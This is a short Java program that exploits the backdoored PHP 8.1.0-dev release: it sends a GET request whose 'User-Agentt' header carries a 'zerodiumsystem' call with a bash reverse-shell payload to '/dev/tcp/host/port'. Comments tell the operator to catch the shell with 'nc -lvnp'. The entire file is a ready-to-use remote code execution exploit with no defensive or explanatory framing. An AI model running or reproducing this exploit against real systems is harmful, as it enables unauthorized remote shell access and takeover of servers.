import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; public class PhpReverseShell81 { public static void main(String[] args) { if(args.length != 3) { System.out.println("Usage: java PhpReverseShell81 "); return; } /* Target Machine and Host Ip and Port */ String target = args[0]; String host = args[1]; String port = args[2]; String payload = "bash -c \"bash -i >& /dev/tcp/"+host+"/"+port+" 0>&1\""; /* Using nc -lvnp port needed to access on another tab */ try { URL url = new URL(target); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestProperty("User-Agentt", "zerodiumsystem('" + payload + "');"); conn.setRequestMethod("GET"); // Using GET method to RCE to tarfer files BufferedReader in = new BufferedReader( new InputStreamReader(conn.getInputStream()) ); System.out.println("[+] Displaying the Content of the page [+]"); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(inputLine); } System.out.println("[!] Access Terminated [!]"); } catch(Exception e) { e.printStackTrace(); } /* END of the Script */ } }